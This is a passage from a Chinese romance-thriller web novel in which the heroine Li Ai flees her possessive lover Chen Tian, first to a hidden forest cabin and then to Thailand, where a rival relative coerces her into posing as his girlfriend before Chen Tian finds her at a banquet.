眼前忽然一片漆黑,但黎艾脑海里已经深深印下了?那个?画面,这一次她受到的冲击远比上?一次强烈。 对方是中国?人?,女生?,并非职业杀手,像只是一个?出于被迫,饱受折磨的小女生?,她那么瘦,露出的一截手腕上?全是淤青,看起来没什么力气,却能用一根吸管贯穿整个?头颅。 没有人?能在遭遇这样的事?无动于衷。 这之后,黎艾生?了?场大病,连着好几天高烧不退。 陈添为?她找来美国?最好的医生?也没用。 他知道她的病根在哪里,这病医生?没办法,他也没办法,只能在床边守着她。 她生?病期间,警局拷问了?和那女生?一起的几个?男人?,他们是女生?在街头雇的,根本?问不出什么。 女生?来历不明,也无从查起。 黎艾的高烧在第五天才?退了?些,但她还是不说话,整日整日地在床上?躺着。 照顾她的这些天,陈添也没说过几次话,每次还都是那一句:“你乖乖把?药吃了?,我就走。” 白天,他只在喂她药时来,等她吃了?药就走,然后在夜深人?静时再次来到她床边,守着她,整夜整夜。 他体?质比常人?好,需要的睡眠也少,但再怎么也不能不睡,他会趴在她的床头入睡。 他睡着的时候,黎艾时常会睁开眼,看向?他。 房间间里亮着灯,她看得清他的模样。 他即便安安静静地闭着眼,长长的垂着,看起来还是一副生?人?勿近的样子,平常他很少皱眉,在睡着时却会习惯性皱眉,像是梦到了?什么不好的事?。 黎艾伸手,想去抚平他眉间的沟壑,却又怕弄醒他,指尖停在距离他眉心咫尺的地方。 半晌,她收回手,只静静看着他。 可能是整天都躺在床上?,她睡不着,前些天因为高烧严重倒是很好入睡,像昏迷一样,现在烧退了?些,反而无法入睡。 她想她很快会好起来,她还有想去做的事?。 她以为?她没那么脆弱,但这一次她是真的被击垮了?,她再也不想看见有人?死在她面前,也不想看见陈添再为?她涉险。 那天但凡那个?女生?的动作快一点,枪法准一点,他还能像现在这样守着她吗。 之前她总觉得,他们两个?与其?活着互相折磨,不如死了?干脆。 但当他真的在她眼前面临生?死的局面,她还是希望他活着,好好活着。 他们两人?只要不在一起,本?都可以各自安好。 经历过这岛上?的一切,她只会更加坚定?要逃离陈添的想法,所以她不会放任自己消沉,她要打起精神来,逃出去。 之后没两天,她的确好了?。 像一切都没发生?过,谁也没再提起那件事?,她照常画画,去酒吧,陈添照常来看她画画,照常去她的酒吧在线工作,不过,这两天他没去Sky。 在市场里,有金九银十的概念,现在已经步入九月下半旬,需要对九月进行复盘,并调整十月的商业战略,简而言之,要召开重要会议,平时陈添都可以在酒吧里工作,但如果要开会,自然还是得找个?僻静的地方。 发生?那件事?后,黎艾在Sky绝不会踏出吧台一步,以免重蹈覆辙,有人?闹事?都交给闻修言处理,但今天是个?例外,今天闹事?的人?是个?女的,美国?人?。 今天晚上?六点多,那美国?妞和她朋友一起来喝酒。 店里一名叫贝拉的女服务员在端着酒路过他们那桌时不慎将?酒泼到了?她身上?,她开始尖叫,说自己的衣服有多昂贵,让贝拉赔钱,到这儿,这件事?无可厚非,闻修言第一时间过去调解,直接拿出了?她报的那个?金额赔她,但她还不罢休,非让贝拉给她道歉,明明贝拉从一开始就一直在道歉,她觉得这种抱歉不够,拿起一杯酒从贝拉头顶上?淋了?下去,淋完还不停对贝拉言语羞辱,话说得非常难听。 黎艾听着那些话,实在忍不了?了?,从吧台怒气冲冲地走到那边,一把?将?那美国?妞按在了?酒桌上?,像陈添当时按那个?推她的男人?一样。 “Don''''t disgrace us women, bitch(别给我们女人?丢脸,贱货)。” 黎艾把?她按在酒桌上?说。 美国?妞不是一个?人?来的,她们同行有六个?女的,这些人?个?个?都是不怕事?儿的,见姐妹被人?按到桌上?,其?他人?全扑了?过来,其?他本?来强忍着没发作的女服务员也不忍了?,撩起袖子就跟她们干,两波人?打得不可开交,场面一时相当混乱。 女人?一旦打起来,根本?不好拉开,谁拦谁被打,因为?是女性,还不能使用强制手段。 黎艾是练过的,战斗力爆表,除了?头发被扯乱了?,面具被扒了?,没吃一点儿亏。 其?他人?就被打得比较惨了?,有脸上?被挠了?几条血痕的,有鼻梁被打断的,有被打成熊猫眼的…… 在富人?区打成这样,最后自然是警察来收场,全部人?都被带去了?警局。 这算不了?什么大事?,拿钱就能解决,谈好赔偿警察那边就会放人?,所以叶尧没告诉正在开会的陈添,跟着警车去了?警局,既然有叶尧在,闻修言在去警局就之前先去了?躺宠物店,接送去洗澡的黎小二?。 叶尧在警局等了?很久,迟迟不见黎艾出来,去接黎小二?的闻修言也一直没出现,他给闻修言打电话,对方一直处于无人?接听的状态,叶尧顿觉不对劲,立马给陈添打了?电话。 在电话里,叶尧给陈添讲了?整个?事?情的经过,然后告诉他:“这好像是个?套,黎小姐一直没出来,去接猫的闻修言也不知道去哪儿了?。” 听完,陈添没有慌,这事?儿他用脚指头都能想明白。 如果只是黎艾不见了?,可能性有很多,但如果闻修言和黎小二?也不见了?,那就只有一种可能—— 他家那位陈鹤龄女士又出手了?。 对此,陈添一点儿也不愤怒,甚至还有兴奋,他很想知道: 这么短的时间,即便是他的母上?大人?,又能把?人?送去哪儿? 第46章 第 46 章 黎艾完全没想到这场闹剧竟然是陈鹤龄女士那边安排的。 她前脚刚进警局, 后脚就被带出了警局。 而后,她接到闻修言打来的电话,闻修言让她不?用紧张,是陈鹤龄女士的人计划的这一切。 有闻修言这话, 黎艾自然安了心, 和跟她一块儿的一名假警察上了直升机。 几分?钟后, 她与闻修言汇合。 闻修言把猫交给她,还有她的护照。 自从计划开始准备,她就把护照交给了闻修言, 她平时的穿着不?好随身带护照。 “你帮我把黎小二送过来,陈添那边就知道是你帮我跑的,所以你什么打算?”黎艾问。 “我会回中国,去为陈鹤龄女士做事。” 这是最好的解决办法了,陈添还没那么浑, 不?至于会动陈鹤龄女士身边的人。 “对不?起啊,”黎艾有些愧疚,“害你不?能再在宿厘岛待了。” 闻修言笑笑,“本来我在这儿也只是暂居, 没什么对不?起的, 应该我谢谢您才是,若非拖您的福, 我哪有机会去陈鹤龄女士身边做事。” 他?既这么说,黎艾遂道∶“祝你前程似锦。” “祝您自由。” 黎艾一愣,而后笑起来, 这是她最想得到的祝福。 直升机很快离岛, 飞向内陆,但并非前两次的航线。 最终, 直升机停在了一处俨然是无人区的沙滩,沙滩前是一片茂密森林,一个棕发的白人女生?站在海滩与森林的接壤处,约莫二十来岁的年龄,极具野性生?命力的长相。 和闻修言道别后,黎艾下了飞机。 这时,兜里的手?机发出两声震动,她把手?机拿出来,有人给她发来一条短信: 【从青港到宿厘岛有八千公?里,我用二十五天就找到了你,你猜,这次我会用几天?】 黎艾落在屏幕上的目光不?自觉收紧。 静静看了那条短信数秒后,她按下熄屏键,将手?机丢给下飞机来送她的闻修言,“帮我把手?机处理一下。” “好的,”闻修言收起手?机,最后一次向她颔首,“黎小姐保重。” “保重。” 黎艾背着猫包转身,走?向前方?站在树下的那个女生?。 两人之间的距离说远不?远,说近却也不?近,直到身后直升机螺旋桨搅动的巨大声响完全消失,她才走?到女生?跟前。 “你好黎小姐,”女生?先开口,用的中文。 “你好,”黎艾主?动向她伸手?,“请问怎么称呼?” 女孩同她握手?,“贝蒂。” 同她握了下手?后,贝蒂注意?到她背的猫包,“包给我背吧黎小姐,接下来的路会很难走?。” “不?用,我能行?的。” 贝蒂性子直率,她这么说了,遂不?再自揽苦活,上前一步为她戴上头灯。 现在时间是晚上七点半,天边晚霞热烈,大片大片的红,离天黑还有一段时间,但森林里植被茂密,光线会暗很多。 帮她打开头灯,贝蒂转身道:“我们走?吧。” 两人一起走?进森林。 原始森林杂草丛生?,荆棘密布,在飞机上黎艾套了工装裤和外套,如果?只穿来时的那身衣服,不?出十步她就会被林中锋利的叶片和荆棘刮伤,还会有无数蚂蟥钻进她的皮肤里。 空气是潮湿而闷热的,路很难走?,黎艾摔了好几次,血从膝盖处流出来在迷工装裤上染了一片红,出的汗渗进伤口,难忍的疼痛,但她没喊一声疼。 艰难地在山林里穿行?三个小时,终于抵达目的地。 眼前是几栋小屋,主?体?木屋约三十平方?米,两层,四周的几栋面积在几平方?到二十平方?之间不?等。 这是她委托陈鹤龄女士帮她建造的。 上一次她用几万人的演唱会来掩饰自己的行?踪,但还是被找到,让她不?得不?思考,是不?是只要在城市里活动就会被找到,那她如果?不?去城市,隐居山林呢。 在中国,大概所有人都做过隐居山林的想法,只是很少?人付诸行?动,独居山林的生?活太难,也太孤单。 黎艾不?怕孤单,至于生?活上的困难,陈鹤龄女士已?经帮她解决,房子,日用品,水电,食物……一切在山林里可以实现的条件都已?具备。 走?进木屋,一股淡淡的清香扑鼻,视线里的每一处画面都像童话里一般温馨美好。 满身的疲惫与疼痛在这一瞬间顷刻消散。 黎艾拖去工装裤与外套,搬了个小板凳来坐着,旁边有更舒服的懒人沙发,但她现在一身汗,还是就做木凳比较好。 作为向导,贝蒂比黎艾更熟悉这里,她拿来药箱,也搬了个凳子,坐到黎艾跟前,“我帮你处理下伤口。” “谢谢。” 贝蒂边给她处理伤口边告诉她这边的一些情况,“这里的电是用的发电机,储电量很足,每个月会有人来换新的发电机,如果?电提前用完就给我打卫星电话,这里的备用的小型发电机也可以支撑几天,所以不?用怕把电用完,等会儿用电烧水好好泡个澡吧,但注意?伤口别沾水。” “好。” “我会在这边陪你住几天,等带你熟悉了取餐和离开的几条路线再走?。” 这里所有的东西都有非常充足的储备量,除了食物,目前这儿只有一些零食和方?便食品,新鲜食材需要出林子取。 林子东面有一条公?路,每隔五天,会有人将新鲜食材放到路边的一个固定地点,她不?用去集市里买,行?踪完全是隐匿的。 贝蒂说的另外几条线,是她以防还是被陈添找到准备的,这片林子四周都设有监测点,如果?陈添进山,她会第一时间知晓,还有时间继续跑。 “等你伤好我们再熟悉路线吧。”贝蒂看着黎艾的伤口说。 黎艾却摇头,“不?用等伤好,这点小伤没问题。” 虽然出了血,但只是破皮,不?像之前是伤到了软组织,好几天动弹不?了,这点儿伤势走?路完全没问题,只是疼点儿。 “是怕会很快被找到吗?”贝蒂问她。 黎艾轻轻“嗯”了声。 “想要找到这里还是没那么容易的,但你要实在担心,我们明天就出发也可以。” “麻烦了。” 贝蒂轻叹了声,没再劝,“包扎好了,去洗漱洗漱休息吧,你的房间在二楼。” “你睡哪儿呢?”黎艾问。 “沙发。” 这栋木屋只有一间卧室。 “我们一块儿睡吧,反正都是女生?,你也住不?了多久。” “不?用,我睡沙发就行?。” 贝蒂是户外生?存达人,经常去密林里探险,在林子里大多时候都睡的吊床,一点儿不?娇气。 共处三小时,黎艾对她也算有了点了解,能感觉到她有较强距离感,她既拒绝,黎艾便也不?坚持。 洗漱后,黎艾抱着黎小二上楼。 卧室的布置也很温馨,真的特别像格林童话书里的插画,每个角落都是暖暖的色调,像奶油与糖果?一般柔和又鲜艳的颜色搭配,仿佛下一秒就会有生?着翅膀的小精灵从窗户外飞进来。 这已?经是她第四次跑,像是习惯了,她心里很平静,没多少?忧伤,也没多少?别的情绪。 她无法确定在这里能不?能彻底摆脱陈添,先过一天是一天吧。 因为身体?的疲惫,她很快入睡,时间在睡眠中过去的飞快,转眼就到了第二天,这天,她是在鸟鸣声中醒来的。 那些鸟鸣没有规律,却出奇的好听,经过墙壁的透析,那阵阵鸣叫变得更加空灵。 于她而言,这是特别奇妙的感觉,她很喜欢。 睁开眼,听着耳边的鸟鸣,她有种还陷在梦里的昏昏然。 在意?识到这的确是现实时,她一把掀开了杯子,从床上跳到地板上,光着脚丫跑到窗边,推开窗。 窗户打开的瞬间,林间清晨带着露水与树叶气息的清新空气像潮水般涌进来,灌入鼻腔,进入肺叶,风吹起长发与裙角,里里外外都被森林的味道包围,浸透,身体?轻飘飘的,像灵魂被洗涤了一遍。 这是新的一天,看似被困在山林,却自由的一天,因为她喜欢这里。 以前在学校被孤立被霸凌,回到家又被当奴隶般使唤辱骂的时候,她不?止一次地幻想过远离这世界的一切纷争与喧嚣,一个人归隐山林,这是幻想,也是愿望。 如今她的愿望实现了- 在山林里的第一个白天,贝蒂带黎艾去了取餐的那条路线,一路上有标记,倒也不?怕陈添会顺着标记找过来,只要他?把目标锁定了这片山林,怎么都能找得找。 有了标记自然就很好认路,但另外三条出逃路线就没有任何标记了,贝蒂带她反反复复走?了很多遍,耗时近十五天。 这时间算短的,山林里的地形大多没有什么明显特征,很多地方?都几乎一模一样,要在半个月内分?别记清南、北、西三条路线,这比她曾做过的任何一件事都要困难,更何况,她身上还带着伤。 这十五天,无论是精神?还是身体?,她都承受着莫大的折磨与痛苦,尤其是刚开始那几天,她适应不?了山林崎岖湿滑的地形,反反复复的摔倒,摔得身上几乎没一块儿皮是好的,迷失在山林时她也有种仿佛中毒般的眩晕感,整个世界天旋地转,脑子像快要炸开。 她本可以不?用强迫自己在这么短的时间内记住这些路线,但她是真的怕了陈添的能力,上上次若非他?有限行?令,她怀疑他?会更快找到她,如果?这次被逮回去,她真不?知道还能不?能逃出来,陈添如今一天比一天偏执。 记下所有路线后,贝蒂离开了这座山林,黎艾正式开始了在山林里的独居生?活。 每天,黎艾都会在空灵而美妙的鸟鸣声中醒来。 起床后,给自己做一顿简单的早餐,给黎小二开个罐头,早餐结束,黎小二趴在屋檐下晒太阳,她坐在屋檐下看书、画画。 对于画画,黎艾开始不?满足于仅靠天赋创作,她想画得更生?动一些,色彩更丰富一些,所以,现在她会跟着书上学习一些技巧和色彩的运用。 黎艾没有一辈子都生?活在山林里的打算,等远方?传来陈添已?然放弃寻找她的消息,她会回归人类社会,届时,她想她会成为一名很出色的画家。 在山林里隐居,是一种逃避,也是放任,在画画这件事上,还是一种静修。 她也不?是整天都画画,每隔两天,她就会挑一条路线重走?,加强记忆。 平均下来,她每天的运动量极大,但她还是没放弃练拳,晚上时不?时还会调几杯酒来喝。 说到山林隐居,大多人想到的都是悠哉、闲适,这样的形容,黎艾这些日子的生?活的确也悠哉闲适,同时,还充实。 人只要不?无聊,没陷在痛苦里,时间就会过得很快,转眼,一个月过去,陈添没有找到她。 这一次,黎艾以为自己终于成功出逃,心境一天比一天平和,放松。 可在离开宿厘岛的第三十九天,从未响起过铃声的卫星手?机,响了。 一种极其不?祥的预感在心中升起,黎艾深吸了几口气才按下接听键:“喂?” 电话那头响起的是闻修言的声音:“黎小姐,兴许您得离开了,添爷应该猜到了您藏在森林里,出动了几十架直升机沿着西海岸的每一个森林地毯式搜寻,估计用不?了多久就会找到您,您要想不?被找到,最好现在就走?,立刻,马上。” “知道了。” 挂断电话,黎艾仅用十分?钟收拾好所有行?李,把黎小二装进猫包,然后立马出发。 来不?及留恋这里的一切。 她一边在山林里以奔跑的速度快步前行?,一边用卫星手?机拨通了一个号码,对方?在拨出号码的几十秒后接通。 “黎小姐。”手?机里传出一道愉悦而沙哑的男性嗓音,似正笑着。 这个号码,对方?估计只告诉了她一个人,所以知道是她。 黎艾没心情去想他?为什么知道是她打的电话,开门见?山地道出打这个电话的目的:“陈其允,来接我。” 手?机里传出的声音更加愉悦了,带着丝丝入扣的笑: “就来。” 第47章 第 47 章 离开山林的四个小时后, 黎艾坐上了飞向泰国的飞机。 此行去泰国,她没对陈其允抱太?大的希望,只是她暂时已经黔驴技穷,没招了。 即便陈其允不顶用, 至少能如?他所说, 在泰国, 她和?陈添是安全的。 在飞机上航行了差不多整整一天一夜,黎艾抵达泰国首府。 她全程有人护送,从去机场, 上飞机,下飞机,再到离开机场坐车去陈其允的私人别?墅。 陈其允的私人别?墅就?在市内,七层的独栋别?墅,从外侧看不出整体占地面积, 但光是那七层楼的独栋建筑就?大得离谱,每层楼还极为浪费的开着灯,如?果?不是车子在往里?开,黎艾还以为这儿是什么景点, 从陈其允的长相和?气质来看, 很难想象他是这么高调的一个人,不过黎艾见过他的阴暗面, 如?此反差倒也不让她觉得奇怪。 车子驶入缓缓打开的雕花铁门,别?墅内的景致随之变得开阔,典型的欧式庄园别?墅, 这种?风格建筑黎艾见得太?多, 但大抵是暮色正好,庄园内的玫瑰开得浓艳, 橘色的黄昏洒落在草坪、花架与白亭间,一切都显得浪漫。 一抹颀长的身影站在花丛前,手里?持着一只玫瑰,浸在云层透出的金色光晕中,光影模糊了他极具东方气质的面孔,从车里?远远望过去,像一名等待着心爱之人的西方伯爵。 车辆还在往里?开,两人之间的距离慢慢拉近,黎艾逐渐看清那张被光晕模糊的脸。 不得不说,陈其允的张了一副极好的皮囊。 车在距离他两米的地方停下来,车门被身穿西服的泰裔男人拉开。 一只玫瑰递到她跟前。 黎艾抬头,看到那张霁月清风般的脸。 “欢迎来到泰国,黎小姐。” 入耳的嗓音低且清,像山风扫过松枝上的雪。 黎艾平静地注视着眼前这个人,心想,如?果?她是在陈添之前遇见他,估计能被他这声音长相和?气质骗得不轻。 见她表情冷淡,陈其允将玫瑰收回,“不喜欢玫瑰?” “不喜欢。”黎艾毫不与他客套。 “那黎小姐喜欢什么?” “独处。” 黎艾几乎就?要把?“请你滚蛋”这四个字挂脸上了。 她来泰国,是他当初求她给的机会,又不是她求他帮忙,他们各取所需,用不着给他多好的脸色。 陈其允并不恼怒于她的态度,反而笑得愈发温润,“黎小姐不远千里?来到泰国,作为东道主?,说什么我也应该给你接风洗尘不是?” 说着,他半侧过身,“晚餐已经为你准备好,黎小姐,请。” 这顿饭还是很有去吃的必要,有些该说在前头的丑话,最?好在这顿饭局上就?说清楚。 黎艾这时才?下了车。 陈其允迈开步子,走?在前面带路,黎艾抱着猫走?他后面。 晚餐地点在被花丛拥簇的白色欧式拱亭内,餐桌上既有烛台又有水晶杯,还有花瓣与玫瑰点缀,很有浪漫氛围,黎艾却只觉得花里?胡哨,而且看这架势,陈其允似乎不止打算让陈添爱而不得,还打算真的把?她从陈添那儿抢过来,如?果?真是这样,她会很烦。 陈其允大约是考虑到她会更喜欢吃中餐,所以餐桌上什么菜系都有,中餐、西餐、泰餐,但厨师为了使这些不同的菜系摆在一起像大杂烩一样不伦不类,每样菜都做成了精致的小份料理,看起来十分美观。 可惜,黎艾并不是一个精致主?义,比起这些精致的料理,她更想吃盘热腾腾的饺子,尽管这些菜肴色香味俱全,却令她没什么胃口 面对面坐下来。 黎艾摸着怀里?的猫,没有动筷的打算,坐等陈其允开口与她交涉。 “是不饿吗?”陈其允问。 “不饿。” 黎艾态度始终冷淡,希望借此让他省去一些不必要的举动。 “那我们先喝会儿茶,聊聊天。” 陈其允轻敲了敲茶杯的边缘,站在一旁的菲佣连忙上前为他们沏茶。 傍晚的风吃过来,带走?些许饭菜的热气,看着这一桌子菜,黎艾觉得不吃很浪费,这会儿又拿起了筷子,“边吃边说吧。” 看出她不喜浪费,陈其允也动了筷。 两人先安静的吃了一小会儿。 “黎小姐,”再一次的交谈依旧是陈其允先开口,“我很好奇,你究极为什么要从陈添身边逃走??” “这是我的私事。” “那我换个问题,”陈其允微笑问道,“你爱他吗?” 黎艾愣了下,视线下意识飘离了一瞬。 “不爱。” 像是看出她眼神的游离,陈其允有些遗憾地道:“可不要对我说谎啊黎小姐,我对你那么坦诚。” “你真的对我坦诚吗?”黎艾定定看着他的眼睛问。 陈其允先是笑了起来,笑得意味不明,而后才?说:“当然。” 黎艾信他才?怪了。 “黎小姐,估计陈添很快就会得知你来了泰国,等他追过来,我希望黎小姐能和?我假装成情侣,当然,”陈其允语锋一转,双眼含笑地微微眯起,“如?果?可以的话,我更希望黎小姐能真正成为我的女友。” “我要是不肯呢?” “连假装情侣都不肯吗?” “对,不肯。” 陈其允轻笑了声,“黎小姐,我如?果?是陈添,我会有很多办法让你放弃逃跑,他对你还是太?心软,可能是不希望你恨他,但既然黎小姐丝毫没有成为我女友的意愿,那我不介意你是恨还是不恨我。” 听?他这么说,黎艾心中有种?很不祥的预感。 “如?果?黎小姐连和?我假装情侣都不愿意,那我不会为黎小姐提供庇护,并且,”像上一次来找她时一样,陈其允毫不掩饰他的阴暗面,眼底迸射出阴沉戾气,“黎小姐在国内的朋友们会不太?好过。” 黎艾没想到他竟然卑鄙到这种?程度。 陈家人果?然都他妈是混蛋! 她本以为,陈其允最?多用逼迫她一个人的手段利用她气陈添,全然没想到他会打她朋友的主?意,她还是太?小看人性的恶。 但事已至此,既然他们都逼她,那她又有什么可顾虑的? “就?这么想跟陈添争?”她眼底净是寒意,“那就?你们就?争吧,争得鱼死?网破。” 陈其允听?了,却笑起来,“黎小姐希望谁死?谁破?” “当然是你死?。” “放心,”陈其允垂眸,笑着轻轻转动手边的茶杯,“我就?算是死?,也一定拉陈添一起。” 说完最?后一句,他又抬起眼,饶有兴致地去看黎艾的表情。 黎艾的表情没什么变化?,至始至终的冰冷。 陈其允又不知为何地笑了笑,接着,他起身,绕过长桌,走?到黎艾身后,双手扶着她的座椅,俯下身来。 “既然要扮作情侣,以后我叫黎小姐……”他顿了顿,在将脖颈低了些,在她耳畔压低声音开口,“黎黎吧。” 黎艾眉头一沉。 这样亲昵又肉麻的称呼从一个只见了两次面的男人口出喊出来,让她非常不适。 “跟你亲近的人,是不是都叫你艾艾?”陈其允笑着说,“我想做唯一一个叫你黎黎的人。” 叫她艾艾的人是不少,但他并不是唯一一个叫她黎黎的人,圈内有几位老师也这样叫她,反而,叫她名字的人很少,与她亲近的人叫她黎黎或者艾艾,公司里?的人叫她艾姐,其他人基本都叫她黎老师、黎小姐。 “陈添怎么叫你?” “黎艾。” 有时候,陈添也喊爱她宝贝,但她还是更喜欢他喊她名字。 这些年?里?,他是唯一一个会喊她全名的人。 “你真的不是为了他前程离开的吗?”陈其允再一次问。 “不是。” 陈其允凑近观察她。 这句话不像说谎。 “黎黎,你还真是让人好奇。” 他还想在她眼底探寻些什么,可惜她垂着眸,于是他伸手,去抬她精致小巧的下巴。 感受到他的触碰,黎艾猛地往旁边一避,抬眸的眼神锐利无比。 手停在半空,陈其允笑了笑将那只收回,背到身后,迎着她的目光缓声道:“不用对我那么警惕,我这个人虽然卑鄙,但我不是管不住下半身的禽兽。” 黎艾眼底的冷意不减一分。 他就?算管得住下半身,在她眼里?,也是个禽兽。 只余风声的拱亭在这时响起一阵手机震动的声音。 陈其允侧头,看向他放在桌上的手机。 他直起身,走?过去,拿起手机接通电话。 黎艾听?不见手机那头的人对他说了什么,但她猜,内容是关于陈添。 挂断电话,陈其允没有把?手机放回桌上,继续握在手里?,笑着望向她,“告诉你一个消息,陈添已经登上了来泰国的飞机。” 果?然。 黎艾没什么反应。 “你让我跟你假扮情侣,”黎艾淡淡看向他,“但陈添一定能查到我哪天上的飞机,我俩就?算演得再像,你觉得他信吗?” “有道理,”陈其允思索两秒,“那我得想办法把?先他弄去个什么地方,好让我们有时间培养培养感情。” “你想做什么?”黎艾冷声问他。 “明天你就?知道了。” 夜色已然暗下来,亭子里?亮着暖色的灯,烛火在晚风里?明明灭灭,灯光落在陈其允脸上,拉出一条明暗分割线,一半暖光,一半阴影,像晴空与黑夜的交替。 “还吃吗?”陈其允问。 “不吃了。” 黎艾本就?没胃口,何况现在。 “那今晚黎黎好好休息,明天带你去会会你的老情人。” 第48章 第 48 章 黎艾的房间在七楼, 最顶层。 虽然只有七楼,从窗户望出去,却像身在格林童话《莴苣姑娘》那一则童话里女巫将女主?人公困住的那栋高楼。 作为普通人,作为一名有良知的人, 怎么逃得出这些无良资本家的掌心。 黎艾现在似乎只能?期盼着?, 陈其允真有帮她拜托陈添的本事, 那她和陈添之间,至少还?有一个人能?有好结局。 如果陈其允没那本事,折腾一番, 又是死局。 明明是无解的命题,她不明白陈添是真的就要跟她死磕到底,还?是始终认为她总会回到他身边。 她想起陈其允晚餐时?说的话,说陈添还?是太心软,他如果像陈其允这样不折手段, 在他找到她的第?一天,她就会跟他回国?。 之前,他用杀人来威胁她,但她其实清楚, 他不会那样做, 至少那时?候不会。 他从来不会践踏她的底线。 所以,即便?他和陈其允都在逼迫她, 强迫她,但她始终没办法?真正讨厌陈添,总盼着?他好, 哪怕她因为他走入深渊里。 这算自我牺牲吗? 她觉得不是, 她只是败给了?命运。 从前她不信命,就在三个月之前都不信, 是在这一次又一次面临的抉择里,她才发现,她的命从来都不掌握在她自己手里,在老天那里,在陈添,陈其允那里,而即便?没有这两个人,她也会像大多数普通人一样,被资本家所操控的这个社会推着?走向她最终的命运。 她的抉择,唯一可以立于不败之地的,是自由意志,只有自由意志,但已经足够了?,就这一点?,不管结局如何,她已经比大多数连灵魂都被禁锢的普通人幸运太多。 她想得很?开?,所以陷于这种?境地也还?是心绪平静,早早上床入睡,也安然入睡。 在飞机上,她从来睡不安稳,正是需要睡眠的时?候。 这一觉,她睡到了?下午两点?,是劳累所致,也像不愿意醒过来。 起床后,她没有下楼,菲佣将将她的早午餐送上了?七楼,一并送来的,还?有一件晚礼服。 “ Mr.chen would like you to wear this dress to the banquet(陈先生希望您穿这件礼服去晚宴)。”菲佣告诉她。 礼服很?漂亮,像为她量身定做,穿上后,她身体?的每一处曲线都被恰到好处的勾勒出来,优质的面料从胸口沿着?身体?弧度延伸至纤细的腰身,再包裹着?她圆润的双臀坠下,露出她修长笔直的双腿,身后却是长长曳至地面的拖尾,上面缀着?带着?细闪的珠片,她每走一步,冰蓝色的裙摆都会折射出如星空般梦幻的碎光,拖尾也随之摇曳,像极了?神话里的鲛人尾。 论穿着?效果,这条礼服比起陈添送她的那些高定,不分伯仲,但陈添一直都是送很?多过来让她挑,从来不会只拿一件过来让她穿。 仿佛回到娱乐圈的精致生活,晚宴在七点?,她却从三点?就开?始被人围着?化妆、做造型。 陈其允出现在门口时?,她的妆造已经在收尾。 等她时?,他就倚在后面,透过镜子,笑吟吟地看着?她,像欣赏一件展会上精致的陶瓷娃娃。 黎艾也透过镜子看着?他,映在镜子里的眼神清晰可见恨意,在那抹恨意深处,像正酝酿着?一场报复。 看他笑得那么春风得意,她实在,很?不爽。 即便?是受着?威胁,她黎艾又怎么可能?甘心做任他摆布的布偶。 她会配合他演戏,为了?陈添,除此之外,在她这里,他休想舒心。 黎艾淡淡收回视线,抬手将发型师精心盘了?两个小时?的头发拆了?。 “黎小姐!”发型师惊呼。 陈其允脸上的笑凝固了?一秒。 他朝她走过来,“怎么了??” “扯得我头皮疼。” “那我们不盘了?,”陈其允转头对造型师说,“重新给黎小姐做个发型。” “我不想做。”黎艾一脸不悦地开?口。 “可你头发乱了?。” 陈其允垂眸,手指勾起她一缕发,但下一秒,那缕头发被黎艾用力扯回去,像不愿意被他碰一根头发。 “陈其允,你记着?,我最讨厌别人碰我头发。”她当着?所有人的面说。 黎艾很?清楚,像陈其允这种?曾经长期屈居人下,如今风光无限的人,最好面子。 为了?打击陈添,他可以在她面前撕下面具,但不代表他愿意在这些人面前被泼冷水。 陈其允的脸色也的确沉了?下去。 旁边的化妆师和发型师大气都不敢喘一口。 半晌后,陈其允却又再次笑起来,语气温柔地开口:“那我们就不做造型了?,你怎么样都漂亮。” 黎艾冲他笑了?下,这只是刚刚开?始。 她不知道陈其允有没有看出她的心思,看到她笑,他说的是:“你笑起来更美?。” 哪个美?女不是笑起来更美? 她觉得他在说废话。 黎艾就这么顶着?一头乱糟糟的头发去了?宴会。 她也不知道参加这是哪门子的宴会,反正每个碰到她与陈其允的人都会双手合十跟他们说一句萨瓦迪卡,再偷偷打量她一眼。 到了?室内,偷偷打量她的人更多,放以前,这会儿她会拿一杯酒,去到没什么人的地方,今天她却一直站在人群里。 大厅两侧摆放着?许多食物,黎艾站了?会儿觉着?有些饿,遂去吃东西?,整个人很?松弛,对于待会儿要见到陈添这件事,她一点?也不紧张。 她还?挺好奇,陈其允要用什么办法?把陈添送到另一个地方。 吃了?一会儿,陈其允俯身在她耳边说:“我去处理点?儿事,别乱跑啊。” 黎艾“嗯”一声,没看他,专心挑着?食物,从这头挑到了?那头,不像来参加宴会,倒像来吃自助的。 头发没绑,垂下来,黎艾一手端着?盘子,一手拿着?几颗葡萄,只能?用小拇指把头发往后勾,但还?是有几缕又垂了?下来,她正欲再用小拇指把这几缕勾到后面,忽然,余光里出现一只修长的手,帮她将头发别到了?耳后。 她愣住,脑海里浮现出一幕幕过往的场景。 “长本事了?。” 耳边传来熟悉的声线,低沉,带着?金属一般的冷感。 “这次,你还?真是让我好找。” 不受控地愣了?会儿,黎艾转过头,看到一张同样熟悉的脸。 那张脸上的表情,没有像第?一次找到她时?那般愤怒,也没有像第?二次那样笑着?,表情很?平静,但平静之下,像潜伏着?致命的暗流。 黎艾看着?面前的男人,下意识屏住呼吸。 “说话,”陈添语气不善道,“在林子里住几天住哑巴了??” 黎艾还?是没说话。 两人之间的距离已然不足半米,陈添却再向她靠近了?些,逼得黎艾想后退,但脚还?没来得及迈出去,胳膊已经被他拽住。 “黎艾,我问你,”陈添的声音越来越冷,“我要是一直没找到你,你就打算一直藏在那破木屋里?” 他看起来像在极力克制快要爆发的情绪,黎艾不明白他为什么会这样,遂顺着?他的话说:“是啊。” 陈添眼底被压着?的火被一瞬间点?燃,黎艾看他似乎快把牙都要咬碎了?,下颌线十分紧绷。 “你……”他是真的愤怒到了?极点?,连吐字都有些困难,每一个字都像要用尽全力才能?从齿缝中挤出,尤其最后半句,他像是极不愿意说出口,“你到底,是太爱我,还?是,真的根本不爱我?” 黎艾微怔了?一秒。 她以前没有告诉过他,她喜欢在山林里隐居的生活,所以在他看来,她的做法?,是一种?莫大的牺牲,能?让人做出这样的牺牲,只有两种?可能?,要么是极度的深爱,要么是极度的厌恨。 既然他要这么理解,她的答案只会是一个:“当然是不爱。” 陈添的双眼一瞬间泛红,额头上暴出蜿蜒的青筋,拽着?她胳膊的力度像控制不住想将她骨头捏碎,如同某种?信念崩塌,理智濒临极限,快要疯掉。 但最终他没有发疯,没有怒吼,而是轻声开?口,像暴雨天一瞬转晴,问她:“如果你真的不爱我,那你告诉我,你要怎么才爱我?” 他加了?一个如果,还?是始终不信她不爱他。 “我不会爱你,我恨你,陈添。” 她说了?这样的话,出乎意料的,陈添反而更平静,他只是将他们之间的距离再拉近了?一些,低声告诉她:“那就一直恨着?我,一直在我身边,恨着?我。” 